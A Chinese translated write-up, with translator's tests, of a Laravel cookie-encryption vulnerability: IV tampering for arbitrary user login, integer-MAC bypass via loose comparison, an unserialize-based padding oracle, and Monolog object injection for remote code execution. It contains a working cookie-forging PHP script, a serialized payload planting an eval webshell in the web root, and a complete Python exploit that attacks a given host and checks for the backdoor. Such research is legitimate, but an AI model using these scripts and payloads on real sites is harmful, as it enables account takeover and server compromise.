from:laravel-cookie-forgery-decryption-and-rce

0×00 内容


0×01 名词约定


下图为CBC模式加密过程

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下图为CBC模式解密过程

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  • Plaintext: 明文(P)
  • Ciphertext: 密文(C)
  • Initialization Vector: 初始化向量(IV)
  • Key: 密钥(K)

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0×02 简介


Laravel PHP框架中的加密模块存在漏洞,攻击者能够利用该漏洞伪造session cookie来实现任意用户登录, 在某些情况下,攻击者能够伪造明文对应的密文,并以此来实行远程代码执行。

Laravel是一个免费,开源的PHP框架,它为现在的web开发人员提供了很多功能,包括基于cookie的session功能。 为了防止攻击者伪造cookie,Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时,会计算出相对应的MAC, 并与cookie所带的MAC做比较。如果两MAC不一致,则认为cookie已经被篡改,请求会被终止。

0×03 任意用户登录


下面的代码展示了MAC验证和解密过程:

#!php
$payload = json_decode(base64_decode($payload), true);

if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
    throw new DecryptException("MAC for payload is invalid.");

$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);

$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));

从上面的代码可以看出MAC只对value进行校验,并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密码分组链接(CBC)模式。 着也就意味着,没有对IV进行校验,攻击者能够任意修改第一个块的明文。

Laravel “remember me”的cookie格式是user ID字符串,因此恶意用户可以修改他们自个的session cookie,达到登录任意用户,假设我们的用户ID为"123",session cookie原始明文为 s:3:"123";后接22byte的补充: s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16 (译者注: Laravel用的是PKCS7 padding,与PKCS5不同的是,PKCS5明确填充的内容psLen是1-8, 而PKCS7没有这限制。)

假设系统生成的cookie中的IV是这样子的:

V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84

如果我们想伪造ID为1的用户,也就是cookie明文为s:1:"1";后接24byte的补充,为了能够使服务器端成功解密出ID为1的明文, 需要按照以下步骤生成IV:

enter image description here

就获得了Pb 相对应的IVb,提交新的cookie,我们就成了ID为1的用户,也可以用同样的方法来登录其他ID。 对攻击者来说,能够登录任意用户也是相当牛逼的,但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法, 能够通杀使用Laravel的应用呢?

0×04 发送任意密文


另外一个问题,进行MAC检验的时候使用的是!=。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串, 但是如果$payload['mac']是一个整型,那么强制类型转换会使得伪造一个对应的MAC变得相对简单, 例如,正确的MAC以"0"或者其他非数字起头,那么整数0将与之匹配,如果以"1x"(x非数字),那么整数1与之匹配,依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)

#!php
var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true

由于MAC是经过json_decode处理的,攻击者可以提供一个整型的MAC,这也就意味着,攻击者能够提供一个正确的MAC给任意密文。

0×05 解密密文


Laravel使用的是CBC模式的分组密码,我们也能够提供任意密文让其解密,我们是否能够实施一次牛逼哄哄的 CBC padding oracle attack攻击呢? 答案是:在某种情况下,YES

一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态,回头看看解密过程的代码, 有三个地方填充状态可能会被泄漏:

  • mcryptDecrypt(): 无侧漏,就是调用mcrypt_decrypt(),没对padding进行处理
  • stripPadding(): 无明显侧漏,该方法检测padding是否合法,但不会报告错误,只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏,是否多调用substr(),但是我们选择无视它。
  • unserialize(): 当error reporting启用,一个不合法的PHP序列化字符串,它会侧漏输入字符串的长度。

嗯,当PHP reporting启用时(其实应该是Laravel的debug模式开启时),反序列化解密后的数据会告诉我们有多少byte的padding被去除, 例如unserialize()爆出"offset X of 22 bytes"的错误时,我们就可以知道这里有10byte的padding。

这样的侧漏对于组织一次有预谋的padding oracle attack来说,足够!

0×06 为任意明文伪造合法的密文


既然有了个CBC decryption oracle,那就很有可能利用CBC-R技术来加密任意明文。

enter image description here

CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ,如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 , 他就能够生成他想要的明文块。既然这里有个选择密文攻击,很显然攻击者能够控制 Ci 和 Ci−1 , 至于DK(Ci)

我们能够利用decryption oracle获得,因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧,如果应用程序使用了这套加密API,我们就伪造密文来执行敏感操作,但是这还是得取决于应用有多傻逼, 我们希望变得更牛逼。

0×07 发送任意密文


我们已经使用unserialize()作为我们padding oracle的基础, 那我们再次利用unserialize()作一次PHP对象注入来达到任意代码执行,如何?

经过搜索Laravel代码之后,发现还是蛮多类定义了 __wakeup() 或者 __destruct() 魔术方法, 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类,显然,如果payload利用的是被广泛应用的monolog而不是其他特定的类,会更为通用。 使用Composer(PHP依赖管理器)时,monolog很有可能被包含,因为它可能被注册为PHP class autoload,这也就意味着, monolog不用被明确的包含在我们请求的文件中,当我们反序列化的时候,PHP会自动寻找加载这个类。

BufferHandler类包装这另外一个log处理类,当BufferHandler对象被销毁时,BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer,一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类,所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象,其中StreamHandler对象的流资源指向web根目录,并且BufferHandler内包含着带有php webshell的log buffer,好,计划通,行动。

利用下面的代码,很容易生成对应的payload:

#!php
<?php

require_once 'vendor/autoload.php';

use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\BufferHandler;

$handler = new BufferHandler(
    new StreamHandler('target-file.php')
);
$handler->handle(array(
    'level' => Logger::DEBUG,
    'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
    'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";
?>

上面的脚本会生成我们的payload:

O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}

通过上面介绍的技巧,我们可以加密该payload,作为cookie提交上去的时候,代码就执行了。

0×08 译者总结


对于原作者所说的漏洞,我拿一个开源blog laravel-4.1-simple-blog 做实验,将关键文件回滚到存在漏洞状态,如果有人想研究,也可以在这laravel-cookie-forgery-decryption-and-rce.zip下载完整文件。

测试1 任意用户登录

在本地:

[email protected],得到用户ID为62,利用以下代码即可获取指定ID用户的cookie

#!php
<?php

if ($argc < 4) {
    print("[*] Usage ".$argv[0]." cookie userid targetid\n");
    return;
}

$cookie = json_decode(base64_decode($argv[1]), true);
$userid = $argv[2];
$targetid = $argv[3];

$iv_a = base64_decode($cookie['iv']);
$p_a = addPadding(serialize($userid));
$p_b = addPadding(serialize($targetid));

$iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);

$cookie['iv'] = $iv_b;

echo base64_encode(json_encode($cookie))."\n";

function addPadding($value) {
    $block_size = 32;
    $pad = $block_size - (strlen($value) % $block_size);
    return $value.str_repeat(chr($pad), $pad);
}
?>

运行结果

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测试2 利用padding oracle来实现RCE

我修改原作者生成payload的脚本,对比生成的payload和原作者给的payload,发现原作者把一些无用的protect属性给去除了, payload显得比较短,打算直接使用作者给的payload。

但是!原作者的payload留了个大坑,正常访问下,index.php的工作目录是web目录, 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算,而BufferHandler类没实现__toString魔术方法, 从而导致触发fatal error,使用register_shutdown_function注册的回调函数$this->close被调用,但是!在我测试环境ubuntu 12.04 64bit + php 5.3.10下,触发异常导致$this->close被调用的时候,工作环境被切换到了根路径'/',从而导致写文件失败。

另外一个坑是mac校验处,本来以为(10/16.0) ** 3 = 0.244140625,开头连续三个数字字符的概率还算低,结果跑一遍才发现远远低估mac校验这里的情况了,比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd, 这种情况就让人很无奈。在实际情况中,正确的做法是换payload,在这里我就直接换key, 最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y。 由于程序推ciphertext,推cv的关联性,以及推1 byte cv的随机性,多线程在此处意义不大。

下面是我根据上面的原理编写的exploit

#!python
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function

import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser


def init_parser():
    print("")
    print("=== POC for laravel RCE ===")
    print("=== by fate0            ===")
    print("=== [email protected]  ===")
    print("=== weibo.com/fatez3r0  ===")
    print("")
    usage = "Usage: %prog --host http://www.fatezero.org"
    parser = OptionParser(usage=usage, description="POC for laravel RCE")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    return parser


class LaravelOracle(object):
    """
    提供32位的payload,也就是明文P
    返回相对应的32byte IV
    """
    block_size = 32

    def __init__(self, domain, plaintext, ciphertext):
        self.domain = domain
        self.timeout = 7
        self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
        self.plaintext = bytearray(plaintext)  # 32byte的payload
        self.ciphertext = bytearray(ciphertext)  # 32byte的ciphertext
        self.cv = bytearray()   # 正确的cv (中间值)
        self.iv = bytearray()
        self.cookie = {
            'mac': 0,
            'value': self.ciphertext,
            'iv': bytearray('0'*32)
        }
        self.modify_cookie_mac()

    @staticmethod
    def add_padding(value):
        """
        对value进行padding
        """
        pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
        return "{value}{padding}".format(value=value, padding=chr(pad)*pad)

    @staticmethod
    def format_cookie(cookie):
        """
        将易操作的cookie转换成laravel的cookie
        """
        tmp_cookie = dict()
        send_cookie = dict()

        tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
        tmp_cookie['value'] = base64.b64encode(cookie['value'])
        tmp_cookie['mac'] = int(cookie['mac'])

        send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
        return send_cookie

    def modify_cookie_iv(self, index):
        if len(self.cv) != index:
            print("[-] Something Wrong")
            sys.exit()

        tmp_append = bytearray()
        for each_c in self.cv:
            tmp_append.append(each_c ^ (index+1))

        self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append

    def modify_cookie_mac(self):
        """
        获取正确的mac
        一个32byte的分组,只有1个正确的mac
        """
        while True:
            send_cookie = self.format_cookie(self.cookie)
            response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
            if response.status_code == 500:
                return True
            self.cookie['mac'] += 1

    def guess_cookie_iv_byte(self, index, value):
        """
        猜测一个字节的IV
        """

        self.cookie['iv'][LaravelOracle.block_size-index-1] = value
        send_cookie = self.format_cookie(self.cookie)
        response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)

        re_result = self.re_pattern.findall(response.content)
        if not re_result:
            if index != 31:
                return False
            if response.status_code == 200:
                self.cv.insert(0, value ^ (index+1))
                return True
        elif int(re_result[0]) >= LaravelOracle.block_size - index:
            return False
        else:
            self.cv.insert(0, value ^ (index+1))
            return True

    def exploit(self):
        for index in xrange(32):
            self.modify_cookie_iv(index)
            for value in xrange(256):
                if self.guess_cookie_iv_byte(index, value):
                    break
            print(index, hex(self.cv[0]))

        for p_char, cv_char in zip(self.plaintext, self.cv):
            self.iv.append(p_char ^ cv_char)


def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]

    cookie = dict()
    cookie['mac'] = 0

    payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
               ''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
               '''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
               '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')

    padding_payload = LaravelOracle.add_padding(payload)
    payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))

    ciphertext = bytearray('0'*32)
    for each_payload_block in payload_block:
        print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
        print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
        LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
        LO.exploit()
        print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
        ciphertext = LO.iv + ciphertext

    cookie['iv'] = ciphertext[:32]
    cookie['value'] = ciphertext[32:]
    cookie['mac'] = 0

    while True:
        send_cookie = LaravelOracle.format_cookie(cookie)
        requests.get(domain, cookies=send_cookie, timeout=7)
        if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
            print("cookie: \n{cookie}".format(cookie=send_cookie))
            return
        cookie['mac'] += 1


if __name__ == '__main__':
    main()

运行结果

enter image description here